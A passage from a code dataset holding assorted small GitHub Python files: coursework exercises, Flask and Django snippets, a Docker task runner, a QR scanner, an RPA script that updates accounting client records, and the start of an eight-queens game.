+{"seq_id":"10410847543","text":"# class Car:\n#     def __init__(self,price,speed,fuel,mileage):\n#         self.price = price\n#         self.speed = speed\n#         self.fuel = fuel\n#         self.mileage = mileage\n\n#     def display_all(self):\n#         print(\"price:\",self.price,\"speed:\",self.speed,\"fuel:\",self.fuel,\"mileage:\",self.mileage)\n\n\n# car1 = Car(300,30,2,10)\n\n\n# car1.display_all()\n\nclass car:\n    def __init__(self,price,speed,fuel,mileage):\n        self.price=price\n        if(self.price>10000):\n            tax=0.15\n        else:\n            tax=0.12\n        self.speed=speed\n        self.fuel=fuel\n        self.mileage=mileage\n        self.tax=tax\n    def display_all(self):\n        # print(\"Price:{}\".format(self.price))\n        # print(\"Speed:{}\".format(self.speed))\n        # print(\"fuel:{}\".format(self.fuel))\n        # print(\"mileage:{}\".format(self.mileage)\n        # print(\"tax:{}\".format(self.tax))\n        print(\"Price: {}\".format(self.price))\n        print(\"Speed: {}mph\".format(self.speed))\n        print(\"Fuel: {}\".format(self.fuel))\n        print(\"Mileage: {}mpg\".format(self.mileage))\n        print(\"Tax: {}\".format(self.tax))\n\ntwo=car(300,31,'small',2)\none=car(2000,35,'Full',15)\none.display_all()\ntwo.display_all()\n\n\n  # def __init__(self,price,name,weight,brand,status):\n    #     self.price = price\n    #     self.name = name\n    #     self.weight = weight\n    #     self.brand = brand\n    #     self.status = \"for sale\"\n\n    # def return_item(self,reason_for_return):\n    #     if (self.reason_for_return = \"defective\"):\n    #         self.status = \"defective\"\n    #         self.price = 0\n    #     elif(self.reason_for_return = \"like new\"):\n    #         self.status = \"for sale\"\n    #     elif(self.reason_for_return = \"opened\"):\n    #         self.status = \"used\"\n    #         return self","repo_name":"michaelcan2/CodingDojo","sub_path":"Python/car_j.py","file_name":"car_j.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29038317447","text":"from flask import Blueprint, render_template, request\nfrom twit_app.models import db, User, Tweet\n\ndelete_routes = Blueprint('delete_routes', __name__)\n\n@delete_routes.route('/', methods=[\"GET\", \"POST\"])\ndef index():\n    if request.method == \"POST\":\n        print(dict(request.form))\n\n        twit_user = request.form\n        input_name = twit_user['delete_user']\n\n        user_info = User.query.filter_by(username=input_name).one()\n        user_id = user_info.__dict__['id']\n\n        Tweet.query.filter_by(user_id=user_id).delete()\n        User.query.filter_by(username=input_name).delete()\n\n        db.session.commit()\n\n    data = User.query.all()\n    return render_template(\"delete.html\", data=data)","repo_name":"rmsgn100/Section3-Solo-Project","sub_path":"twit_app/routes/delete_routes.py","file_name":"delete_routes.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11390026538","text":"import inspect\n\n\ndef expand(func):\n    \"\"\"Decorator that expands an object's attributes to fill a function's\n    parameters\n\n    The decorated function should be passed an object whose attributes share\n    the names of the function's parameters. The objects attributes will be\n    expanded into both positional and keyword parameters.\n    Supports functions and class methods.\n\n    Decorated function parameters:\n        expand: keyword arg. True to activate object expansion,\n            else the decorated function behaves normally\n\n    Usage:\n        >>> @expand\n        ... def f(a, b, c):\n        ...     print \"a: %s, b: %s, c: %s\" % (a, b, c)\n        >>> f(3, 2, 1)\n        a: 3, b: 2, c: 1\n        >>> class Args():  # similar to the object return by argparse\n        ...     a = 3\n        ...     b = 2\n        ...     c = 1\n        >>>  f(Args(), expand=True)\n        a: 3, b: 2, c: 1\n    \"\"\"\n\n    def _inner(*args, **kwargs):\n        func_varnames = inspect.getargspec(func).args\n\n        if kwargs.get(\"expand\") is True and func_varnames:\n            func_args = []\n\n            # deal with methods\n            if func_varnames[0] is \"self\":\n                func_args.append(args[0])\n                args = args[1:]\n                func_varnames = func_varnames[1:]\n\n            func_args.extend(\n                [getattr(args[0], varname) for varname in func_varnames]\n            )\n\n            return func(*func_args)\n\n        else:\n            return func(*args, **kwargs)\n\n    return _inner\n","repo_name":"richlanc/argspander","sub_path":"argspander/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"30952257828","text":"\nfrom django.urls import path, include\nfrom . import views\nfrom . import api\napp_name='job'\nurlpatterns = [\n   path('', views.job_list,name='job_list' ),\n   #path('<int:id>/', views.job_detail,name = 'job_detail' ),\n   path('add_job/', views.add_job,name = 'add_job' ),\n\n   path('<str:slug>/<int:id>', views.job_detail,name = 'job_detail' ),\n   #apis\n   path('api/all_jobs_api',api.api_job_list,name='all_jobs_api'),\n   path('api/job_detail_api/<int:id>',api.api_job_detail,name='job_detail'),\n   #generic api vewis\n   path('api/v2/all_jobs_api',api.JobListApi.as_view(),name='job_list_veiw'),\n   path('api/v2/all_jobs_api/job_detail/<int:id>',api.JobDetailApi.as_view(),name='job_detail_view'),\n]\n","repo_name":"abdobassel/django_job_board","sub_path":"job/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39664134935","text":"from setuptools import find_packages, setup\n\nINSTALL_REQUIRES = [\"django==2.2\"]\n\nsetup(\n    name=\"django-test\",\n    packages=find_packages(),\n    test_suite=\"tests\",\n    python_requires=\">=3.9\",\n    url=\"https://github.com/LaurenceWarne/django-test\",\n    version=\"0.1\",\n    author=\"Laurence Warne\",\n    license=\"MIT\",\n    install_requires=INSTALL_REQUIRES\n)\n","repo_name":"LaurenceWarne/django-test","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"73248351231","text":"import requests\nimport socket\nfrom utilities import get_machine_id\n\nclass HTTPReporter :\n    def __init__(self, logger, config):\n        self.logger = logger\n        self.config = config\n        self.id = None\n\n    def report_results(self, results):\n        if results[\"passCount\"] == 1:\n            self.register(results[\"video_name\"])\n\n        self.send_heart_rate(results)\n\n    def register(self, video_name):\n        registration_info = {\"device\":get_machine_id(), \"video\":video_name}\n        try:\n            if \"computer_name\" in self.config:\n                registration_info.update({\"name\":socket.gethostname()})\n            if \"computer_description\" in self.config:\n                registration_info.update({\"description\": self.config[\"computer_description\"]})\n            response = requests.post(\"{}{}\".format(self.config[\"server_url\"], \"register\"), registration_info)\n            if response.status_code == 200:\n                result = response.json()\n                self.id = result[\"id\"]\n                return True\n            else:\n                self.logger.error(\"Registration failure, HTTP status: {}\".format(response.status_code))\n                return False\n        except requests.exceptions.RequestException as err:\n            self.logger.error(\"Exception: {}\".format(err))\n\n    def send_heart_rate(self, results):\n        try:\n            http_data = results.copy()\n            http_data.update({\"DeviceId\":self.id})\n            for key, value in results[\"trackers\"].items():\n                http_data.update({key: value})\n            response = requests.post(\"{}{}\".format(self.config[\"server_url\"], \"heartrate\"), http_data)\n            if response.status_code == 200:\n                return True\n            else:\n                self.logger.error(\"POST failure, HTTP status: {}\".format(response.status_code))\n                return False\n\n        except requests.exceptions.RequestException as err:\n            self.logger.error(\"Exception: {}\".format(err))\n","repo_name":"FredOleary/VideoBiometrics","sub_path":"collector/reporters/http_reporter.py","file_name":"http_reporter.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"23231441414","text":"# given 2 arrays (strings), return a bool if it's the same or not\n# case sensitive with no white spaces\n\nlist1 = [\"kobe\", \"mj\", \"lebron\", \"shaq\", \"dude\",]\nlist2 = [\"kobe\", \"shaq\", \"mj\", \"lebron\", \"other dude\"]\n\n#solution 1\ndef two_list_is_equal_a(list1, list2):\n    cloned_list1 = list1\n    for i in range(len(list2)):\n        if list2[i] in cloned_list1:\n            cloned_list1.remove(list2[i])\n        else:\n            return False\n    if len(cloned_list1) != 0:\n        return False\n    return True\n\nprint(\"1A)\",two_list_is_equal_a(list1, list2),\"\\n\")\n\ndef two_list_is_equal_b(ar_1, ar_2):\n    if len(ar_1) != len(ar_2):\n        return False\n    seen_items_set = set(ar_1)\n    for item in ar_2:\n        if item not in seen_items_set:\n            return False\n        seen_items_set.remove(item)\n    if len(seen_items_set) > 0:\n        return False\n    return True\n\nprint(\"1B)\",two_list_is_equal_b(list1, list2),\"\\n\")","repo_name":"SamuelFolledo/SPD1.41-Communication-and-Interviewing","sub_path":"classwork/is_two_list_equal.py","file_name":"is_two_list_equal.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38972737615","text":"from pyclientlib import SkinnyClient\n\n\ndef main():\n    c = SkinnyClient()\n    while True:\n        print(\"> \", end=\"\")\n        s = input()\n        if not s:\n            continue\n        split = s.split()\n        if split[0] == \"open\":\n            print(c.Open(split[1]))\n        elif split[0] == \"write\":\n            print(c.SetContent(int(split[1]), split[2]))\n        elif split[0] == \"read\":\n            print(c.GetContent(int(split[1])))\n        elif split[0] == \"lock\":\n            print(c.Acquire(int(split[1]), True))\n        elif split[0] == \"unlock\":\n            print(c.Release(int(split[1])))\n        elif split[0] == \"trylock\":\n            print(c.TryAcquire(int(split[1]), True))\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"c5h11oh/DistributedSystems-Chubby","sub_path":"demo/demo1.py","file_name":"demo1.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"71079501310","text":"import argparse\nimport copy\nimport json\nimport os\nfrom pathlib import Path\nfrom tdw.librarian import ModelLibrarian, ModelRecord\n\ndef str2table(v):\n    return v.split(',')\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--directory\", type=str, default=\"../datasets/toys4K_obj_all/\")\nparser.add_argument(\"--dest\", type=str, default=\"library2/\")\nparser.add_argument(\"--vhacd\", type=int, default=10000) #precision of vahcd mesh decomposition, 800 000 the original default\nparser.add_argument(\"--name\", type=str2table, default=\"\")\nargs = parser.parse_args()\n\nsrc = Path().resolve().joinpath(args.directory).resolve()\ndest = Path().resolve().joinpath(args.dest)\nfile_type=\"obj\"\nlibrary_path = dest.joinpath(\"toys.json\")\nif not os.path.exists(dest):\n    os.mkdir(args.dest)\n\ndef create_library(library_path, src) :\n    # ModelLibrarian.create_library(description=\"Toys model librarian\", path=str(Path().home().joinpath(\"postdoc/datasets/toys4k_lib/toys.json\")))\n    ModelLibrarian.create_library(description=\"Toys model librarian\", path=str(library_path))\n    lib = ModelLibrarian(str(library_path.resolve()))\n    for f in src.rglob(\"*.\"+file_type):\n        # if f.name < \"chair_144\" and f.name > \"cupcake_026\":\n        #     continue\n\n        record = ModelRecord()\n        record.name = \"\".join(list(str(f.name))[:-4])\n        if record.name == \"\":\n            pass\n        record.wcategory = \"\".join(list(str(f.name))[:-8])\n        record.wnid = record.wcategory\n        record.scale_factor = 0.1 if file_type == \"fbx\" else 0.2\n        for platform in record.urls:\n            dest_url = dest.joinpath(record.wnid + \"/\" + record.name + \"/\" + platform)\n            url=\"file:///\" + str(dest_url.resolve()).replace(\"\\\\\", \"/\")\n            record.urls[platform] = url\n        lib.add_or_update_record(record, overwrite=True, write=False)\n        # Write to disk.\n        lib.write(pretty=False)\n\ndef fix_json(library_path):\n    with open(str(library_path.resolve()), \"r\") as f:\n        text = list(f.read())\n    for i in range(len(text)):\n        if text[i] == \",\":\n            if text[i + 1] != \" \" and text[i + 1] != \"\\\"\":\n                text[i] = \".\"\n    fixed_text = \"\".join(text)\n    with open(str(library_path.resolve()), 'w') as f:\n        f.write(fixed_text)\n\n\ncreate_library(library_path,src)\nfix_json(library_path)\n\njs = json.load(open(library_path))\njs_copy = copy.deepcopy(js)\nto_remove = []\nwith open(\"disabled\") as f:\n    rl = f.readlines()\n    for l in rl:\n        cat = \"\".join(list(l)[:-5])\n        name = \"\".join(list(l)[:-1])\n        if cat == \"\":\n            continue\n        to_remove.append(name)\nfor name in to_remove:\n    if name in js_copy[\"records\"]:\n        del js_copy[\"records\"][name]\n\nwith open(library_path, 'w') as f:\n    json.dump(js_copy, f)\n","repo_name":"Aubret/models_tdw","sub_path":"create_library.py","file_name":"create_library.py","file_ext":"py","file_size_in_byte":2779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"24452701505","text":"import cv2\nfrom Database_Operations import  database\nimport pyzbar.pyzbar as pyzbar\n\ndef Qr_scan():\n    img=cv2.VideoCapture(0)\n    font = cv2.FONT_HERSHEY_SIMPLEX\n\n\n    while True:\n        success, frame= img.read()\n        decoded=pyzbar.decode(frame)\n\n        for object in decoded:\n            (x,y,w,h)=object.rect\n            cv2.rectangle(frame,(x,y),(x+w,y+h),(0,0,255),3)\n            a2=database()\n            rollno=str(object[0], 'utf-8')\n            rollno_l=rollno.split('/')\n            print(rollno_l)\n            check=a2.verify(rollno_l[0],rollno_l[1])\n\n            if(check==True):\n\n                cv2.putText(frame,\"DETECTED\",(x,y),font,1,(0,255,0),2)\n\n            else:\n                cv2.putText(frame, \"INVALID\", (x, y), font, 1, (0, 255, 0), 2)\n\n\n        cv2.imshow(\"Frame\",frame)\n        if cv2.waitKey(1) & 0xFF==ord('q'):\n            break\n\nQr_scan()","repo_name":"rishabhgupta03/Smart-Surveillance-System","sub_path":"Scanner.py","file_name":"Scanner.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"35225941683","text":"k,n=map(int,input().split())\n\ncable=[]\n\nfor _ in range(k):\n    length=int(input())\n    cable.append(length)\n\nstart,end=1,max(cable)\nans=0\n\nwhile start<=end:\n    mid=(start+end)//2\n    sum=0\n    for c in cable:\n        sum+=c//mid\n    if sum>=n:\n        start=mid+1\n        ans=mid\n    else:\n        end=mid-1\n\nprint(ans)","repo_name":"SarahParkSehyun/Baekjoon_PnP","sub_path":"silver/1654.py","file_name":"1654.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"35675432524","text":"from CryoCore import API\nfrom CryoCloud.Common.DockerProcess import DockerProcess\n\n\nccmodule = {\n    \"description\": \"Run stuff in docker environments\",\n    \"depends\": [\"\"],\n    \"provides\": [\"\"],\n    \"inputs\": {\n        \"gpu\": \"Run on GPU, default False\",\n        \"target\": \"Target docker\",\n        \"env\": \"Environment variables\",\n        \"dirs\": \"Directories to map as volumes\",\n        \"arguments\": \"Arguments for docker process\",\n        \"log_all\": \"Log all output as debug, default False\",\n        \"debug\": \"Debug - write docker commands to /tmp/ default False\"\n    },\n    \"outputs\": {\n    },\n    \"defaults\": {\n        \"runOn\": \"success\"\n    }\n}\n\n\ndef process_task(worker, task, cancel_event=None):\n    \"\"\"\n    worker.status and worker.log are ready here.\n\n    Move files from one place to another\n    Needs task[\"args\"][\"src\"] and \"dst\"\n\n    \"\"\"\n\n    gpu = False\n    env = {}\n    dirs = []\n    args = []\n\n    a = task[\"args\"]\n    gpu = a.get(\"gpu\", False)\n\n    if \"target\" not in task[\"args\"]:\n        raise Exception(\"Missing docker target\")\n    target = a[\"target\"]\n    if not isinstance(target, list):\n        target = [target]\n\n    if len(target) == 0:\n        raise Exception(\"Require parameter 'target'\")\n\n    env = a.get(\"env\", {})\n    dirs = a.get(\"dirs\", [])\n    args = a.get(\"arguments\", [])\n    log_all = a.get(\"log_all\", False)\n    debug = a.get(\"debug\", False)\n\n    dp = DockerProcess(target, worker.status, worker.log, API.api_stop_event,\n                       dirs=dirs, env=env, gpu=gpu, args=args, log_all=log_all,\n                       cancel_event=cancel_event, debug=debug)\n    # cancel_event=cancel_event)  # Doesn't work\n    retval = dp.run()\n\n    worker.log.debug(\"Docker completed\")\n    return worker.status[\"progress\"].get_value(), retval\n","repo_name":"Snarkdoof/cryocloud","sub_path":"CryoCloud/Modules/docker.py","file_name":"docker.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"19700020104","text":"import numpy as np\n\ndef read(filename):\n\t#function that reads the x and y coordinate\n\tinfile = open(filename, 'r')\n\tTimestep = []\n\tTime =[]\n\tTemperature = []\n\tDiffusionConstant = []\n\trelevant_lines = infile.readlines()[1:] #skips the irrelevant lines\n\tfor line in relevant_lines: \n\t\tdata = line.split()\n\t\tTimestep.append(float(data[0]))\n\t\tTime.append(float(data[1]))\n\t\tTemperature.append(float(data[2]))\n\t\tDiffusionConstant.append(float(data[3]))\n\tinfile.close()\n\tTimestep = np.array(Timestep)\n\tTime = np.array(Time)\n\tTemperature = np.array(Temperature)\n\tDiffusionConstant = np.array(DiffusionConstant)\n\n\treturn Timestep, Time, Temperature, DiffusionConstant\n\n#Timestep, Time, Temperature, DiffusionConstant = read('statistics.txt')\n\nT_init = []\nfor i in range(1, 1001, 50):\n\tT_init.append(i)\nT_init = np.array(T_init)\n\nT_ratio = np.array([0.669704,0.741992,0.678682,0.690175,0.693458,0.719683,0.759031,0.779948,0.709018,0.740829,0.765328,0.744585,0.761976,0.755197,0.720936,0.738801,0.766893,0.729957,0.729681,0.751274])\n\nT = T_ratio*T_init #temperature at equilibrium\n\nimport matplotlib.pyplot as plt\n\nplt.plot(T, T_ratio, 'go')\nplt.rcParams.update({'font.size': 14})\nplt.ylabel('$T/T_i [m^2/s]$')\nplt.xlabel('$T$ [K]')\nplt.show()\n\n\n","repo_name":"livewj/Project5","sub_path":"build-molecular-dynamics-fys3150-Desktop_Qt_5_7_0_clang_64bit-Debug/readfile_Tloop.py","file_name":"readfile_Tloop.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17937335810","text":"###########################################################################################################\n# 稼働設定：解像度 1920*1080 表示スケール125%\n###########################################################################################################\n# モジュールインポート\nimport pyautogui as pg\nimport time\nimport MJSOpen\n\n# pandasインポート\nimport pandas as pd\n\n# 配列計算関数numpyインポート\nimport numpy as np\n\n# osインポート\nimport os\n\n# datetimeインポート\n\n# 例外処理判定の為のtracebackインポート\nimport traceback\n\n# pandas(pd)で関与先データCSVを取得\nimport pyautogui\nimport pyperclip  # クリップボードへのコピーで使用\nimport Function.ExcelFileAction as EFA\nimport Function.CSVOut as FCO\nimport Function.MJSSPOPDFMarge as PDFM\nimport datetime\nimport openpyxl\nfrom openpyxl.formatting.rule import Rule\nfrom ctypes import windll\n\nimport os\nimport sys\nimport PyPDF2\nfrom pdfminer.high_level import extract_text\nfrom pdfminer.pdfparser import PDFParser\nfrom pdfminer.pdfdocument import PDFDocument\nfrom pdfminer.pdfpage import PDFPage\nimport WarekiHenkan as WK\n\n# logger設定------------------------------------------------------------------------------------------------------------\nimport logging.config\n\nlogging.config.fileConfig(r\"LogConf\\loggingMJSSysUp.conf\")\nlogger = logging.getLogger(__name__)\n# ----------------------------------------------------------------------------------------------------------------------\n\n\ndef DriverUIWaitXPATH(UIPATH, driver):  # XPATH要素を取得するまで待機\n    for x in range(10):\n        try:\n            driver.find_element_by_xpath(UIPATH)\n            Flag = 1\n            return True\n        except:\n            Flag = 0\n    if Flag == 0:\n        return False\n\n\n# ----------------------------------------------------------------------------------------------------------------------\ndef DriverUIWaitAutomationId(UIPATH, driver):  # XPATH要素を取得するまで待機\n    for x in range(10):\n        try:\n            driver.find_element_by_accessibility_id(UIPATH)\n            Flag = 1\n            return True\n        except:\n            Flag = 0\n    if Flag == 0:\n        return False\n\n\n# ----------------------------------------------------------------------------------------------------------------------\ndef DriverUIWaitName(UIPATH, driver):  # XPATH要素を取得するまで待機\n    for x in range(10):\n        try:\n            driver.find_element_by_Name(UIPATH)\n            Flag = 1\n            return True\n        except:\n            Flag = 0\n    if Flag == 0:\n        return False\n\n\n# ------------------------------------------------------------r----------------------------------------------------------\ndef DriverUIWaitclassname(UIPATH, driver):  # XPATH要素を取得するまで待機\n    for x in range(10):\n        try:\n            driver.find_element_by_class_name(UIPATH)\n            Flag = 1\n            return True\n        except:\n            Flag = 0\n    if Flag == 0:\n        return False\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n# ----------------------------------------------------------------------------------------------------------------------\ndef DriverFindClass(UIPATH, driver):  # XPATH要素を取得するまで待機\n    for x in range(10):\n        try:\n            elList = driver.find_elements_by_class_name(UIPATH)\n            Flag = 1\n            return True, elList\n        except:\n            Flag = 0\n    if Flag == 0:\n        return False\n\n\n# ----------------------------------------------------------------------------------------------------------------------\ndef DriverCheck(Hub, ObjName, driver):  # XPATH要素を取得するまで待機\n    for x in range(10):\n        if Hub == \"AutomationID\":\n            if (\n                DriverUIWaitAutomationId(ObjName, driver) is True\n            ):  # OMSメニューの年調起動ボタンを判定して初期処理分け\n                # 正常待機後処理\n                driver.find_element_by_accessibility_id(ObjName)  # 一括電子申告送信ボタン\n                return True\n            else:\n                # 異常待機後処理\n                print(\"要素取得に失敗しました。\")\n        elif Hub == \"XPATH\":\n            if DriverUIWaitXPATH(ObjName, driver) is True:  # OMSメニューの年調起動ボタンを判定して初期処理分け\n                # 正常待機後処理\n                driver.find_element_by_xpath(ObjName)  # 一括電子申告送信ボタン\n                return True\n            else:\n                # 異常待機後処理\n                print(\"要素取得に失敗しました。\")\n        elif Hub == \"Name\":\n            if DriverUIWaitName(ObjName, driver) is True:  # OMSメニューの年調起動ボタンを判定して初期処理分け\n                # 正常待機後処理\n                driver.find_element_by_Name(ObjName)  # 一括電子申告送信ボタン\n                return True\n            else:\n                # 異常待機後処理\n                print(\"要素取得に失敗しました。\")\n\n\n# ----------------------------------------------------------------------------------------------------------------------\ndef DriverClick(Hub, ObjName, driver):\n    if Hub == \"AutomationID\":\n        if (\n            DriverUIWaitAutomationId(ObjName, driver) is True\n        ):  # OMSメニューの年調起動ボタンを判定して初期処理分け\n            # 正常待機後処理\n            OMSObj = driver.find_element_by_accessibility_id(ObjName)  # 一括電子申告送信ボタン\n            OMSObj.click()\n            return OMSObj\n        else:\n            # 異常待機後処理\n            print(\"要素取得に失敗しました。\")\n    elif Hub == \"XPATH\":\n        if DriverUIWaitXPATH(ObjName, driver) is True:  # OMSメニューの年調起動ボタンを判定して初期処理分け\n            # 正常待機後処理\n            OMSObj = driver.find_element_by_xpath(ObjName)  # 一括電子申告送信ボタン\n            OMSObj.click()\n            return OMSObj\n        else:\n            # 異��待機後処理\n            print(\"要素取得に失敗しました。\")\n    elif Hub == \"Name\":\n        if DriverUIWaitName(ObjName, driver) is True:  # OMSメニューの年調起動ボタンを判定して初期処理分け\n            # 正常待機後処理\n            OMSObj = driver.find_element_by_Name(ObjName)  # 一括電子申告送信ボタン\n            OMSObj.click()\n            return OMSObj\n        else:\n            # 異常待機後処理\n            print(\"要素取得に失敗しました。\")\n    elif Hub == \"class_name\":\n        if DriverUIWaitclassname(ObjName, driver) is True:  # OMSメニューの年調起動ボタンを判定して初期処理分け\n            # 正常待機後処理\n            OMSObj = driver.find_element_by_class_name(ObjName)  # 一括電子申告送信ボタン\n            OMSObj.click()\n            return OMSObj\n        else:\n            # 異常待機後処理\n            print(\"要素取得に失敗しました。\")\n\n\n# ----------------------------------------------------------------------------------------------------------------------\ndef ImgCheck(FolURL2, FileName, conf, LoopVal):  # 画像があればTrueを返す関数\n    ImgURL = FolURL2 + \"/\" + FileName\n    for x in range(LoopVal):\n        try:\n            p = pyautogui.locateOnScreen(ImgURL, confidence=conf)\n            x, y = pyautogui.center(p)\n            return True, x, y\n        except:\n            Flag = 0\n    if Flag == 0:\n        return False, \"\", \"\"\n\n\n# ----------------------------------------------------------------------------------------------------------------------\ndef ImgNothingCheck(FolURL2, FileName, conf, LoopVal):  # 画像がなければTrueを返す\n    ImgURL = FolURL2 + \"/\" + FileName\n    for x in range(LoopVal):\n        try:\n            p = pyautogui.locateOnScreen(ImgURL, confidence=conf)\n            x, y = pyautogui.center(p)\n            return False\n        except:\n            Flag = 0\n    if Flag == 0:\n        return True\n\n\n# ----------------------------------------------------------------------------------------------------------------------\ndef ImgCheckForList(FolURL2, List, conf, LoopVal):  # リスト内の画像があればTrueと画像名を返す\n    for x in range(LoopVal):\n        for ListItem in List:\n            ImgURL = FolURL2 + \"/\" + ListItem\n            try:\n                p = pyautogui.locateOnScreen(ImgURL, confidence=conf)\n                x, y = pyautogui.center(p)\n                return True, ListItem, x, y\n                break\n            except:\n                Flag = 0\n    if Flag == 0:\n        return False, \"\", \"\", \"\"\n\n\n# ----------------------------------------------------------------------------------------------------------------------\ndef ImgClick(FolURL2, FileName, conf, LoopVal):  # 画像があればクリックしてx,y軸を返す\n    ImgURL = FolURL2 + \"/\" + FileName\n    for x in range(10):\n        if (\n            ImgCheck(FolURL2, FileName, conf, LoopVal)[0] is True\n        ):  # OMSメニューの年調起動ボタンを判定して初期処理分け\n            # 正常待機後処理\n            for y in range(10):\n                try:\n                    p = pyautogui.locateOnScreen(ImgURL, confidence=conf)\n                    x, y = pyautogui.center(p)\n                    pyautogui.click(x, y)\n                    time.sleep(1)\n                    return x, y\n                except:\n                    print(\"失敗\")\n        else:\n            # 異常待機後処理\n            print(\"要素取得に失敗しました。\")\n\n\n# ------------------------------------------------------------------------------------------------------------------\n# RPA用画像フォルダの作成---------------------------------------------------------\nFolURL = os.getcwd().replace(\"\\\\\", \"/\")  # 先\nTFolURL = FolURL + r\"\\RPAPhoto\\MJSKomonsakiUpDate\"  # 先\nLURL = TFolURL + r\"\\顧問先-名称.csv\"  # 処理状況CSVのURL\n# --------------------------------------------------------------------------------\nCSVs = FCO.CsvRead(LURL)[1]\nCSVLen = len(CSVs)\nfor CV in range(CSVLen):\n    if CV > 2222:\n        CSVsRow = CSVs.iloc[CV]\n        if not CSVsRow[\"顧問先\"] == CSVsRow[\"顧問先\"]:\n            print(\"nan\")\n        else:\n            print(CSVsRow[\"コード\"])\n            KCB = ImgCheck(TFolURL, r\"\\K_CodeBox.png\", 0.9, 10)\n            if KCB[0] is True:\n                pyautogui.click(KCB[1] + 100, KCB[2])  # 横軸,縦軸\n                pyperclip.copy(str(CSVsRow[\"コード\"]))\n                pg.hotkey(\"ctrl\", \"v\")\n                pg.press(\"return\")\n                time.sleep(1)\n                MB = ImgCheckForList(\n                    TFolURL,\n                    [\n                        r\"\\M_Bar.png\",\n                        r\"\\M_Bar2.png\",\n                        r\"\\M_Bar3.png\",\n                        r\"\\Name.png\",\n                        r\"\\Name2.png\",\n                        r\"\\Name3.png\",\n                    ],\n                    0.9,\n                    10,\n                )\n                if MB[0] is True:\n                    pyautogui.click(MB[2], MB[3])  # 横軸,縦軸\n                    RS = ImgCheckForList(\n                        TFolURL, [r\"\\R_Sou.png\", r\"\\R_Sou2.png\"], 0.9, 10\n                    )\n                    if RS[0] is True:\n                        pyautogui.click(RS[2] + 150, RS[3])  # 横軸,縦軸\n                        pg.press(\n                            [\n                                \"backspace\",\n                                \"backspace\",\n                                \"backspace\",\n                                \"backspace\",\n                                \"backspace\",\n                                \"backspace\",\n                                \"backspace\",\n                                \"backspace\",\n                                \"backspace\",\n                                \"backspace\",\n                                \"backspace\",\n                                \"backspace\",\n                                \"backspace\",\n                                \"backspace\",\n                            ]\n                        )\n                        pg.press(\n                            [\n                                \"delete\",\n                                \"delete\",\n                                \"delete\",\n                                \"delete\",\n                                \"delete\",\n                                \"delete\",\n                                \"delete\",\n                                \"delete\",\n                                \"delete\",\n                                \"delete\",\n                                \"delete\",\n                                \"delete\",\n                                \"delete\",\n                                \"delete\",\n                            ]\n                        )\n                        pyperclip.copy(str(CSVsRow[\"コード\"]))\n                        pg.hotkey(\"ctrl\", \"v\")\n                        ImgClick(TFolURL, r\"\\U_Btn.png\", 0.9, 10)\n                        time.sleep(1)\n                        while (\n                            pg.locateOnScreen(\n                                TFolURL + r\"\\\\\" + \"UpDateFlag.png\", confidence=0.9\n                            )\n                            is not None\n                        ):\n                            time.sleep(1)\n                        time.sleep(1)\n","repo_name":"hasegawakaikeirpa/RPAScript","sub_path":"MJSKomonsakiUpDate.py","file_name":"MJSKomonsakiUpDate.py","file_ext":"py","file_size_in_byte":13678,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38007371934","text":"import pygame\ndef share_diagonal(x0, y0, x1, y1):\n    \"\"\" Is (x0, y0) on a shared diagonal with (x1, y1)? \"\"\"\n    dy = abs(y1 - y0)        # Calc the absolute y distance\n    dx = abs(x1 - x0)        # CXalc the absolute x distance\n    return dx == dy  \n\ndef col_clashes(bs, c):\n    \"\"\" Return True if the queen at column c clashes\n         with any queen to its left.\n    \"\"\"\n    for i in range(c):     # Look at all columns to the left of c\n          if share_diagonal(i, bs[i], c, bs[c]):\n              return True\n\n    return False      \n\ndef has_clashes(the_board):\n    \"\"\" Determine whether we have any queens clashing on the diagonals.\n        We're assuming here that the_board is a permutation of column\n        numbers, so we're not explicitly checking row or column clashes.\n    \"\"\"\n    for col in range(1,len(the_board)):\n        if col_clashes(the_board, col):\n            return True\n    return False\n\ngravity = 0.1\n\nclass QueenSprite:\n\n    def __init__(self, img, target_posn):\n        self.image = img\n        self.target_posn = target_posn\n        (x, y) = target_posn\n        self.posn = (x, 0)     # Start ball at top of its column\n        self.y_velocity = 0    #    with zero initial velocity\n\n    def update(self):\n        self.y_velocity += gravity\n        (x, y) = self.posn\n        new_y_pos = y + self.y_velocity\n        (target_x, target_y) = self.target_posn   # Unpack the position\n        dist_to_go = target_y - new_y_pos         # How far to our floor?\n    \n        if 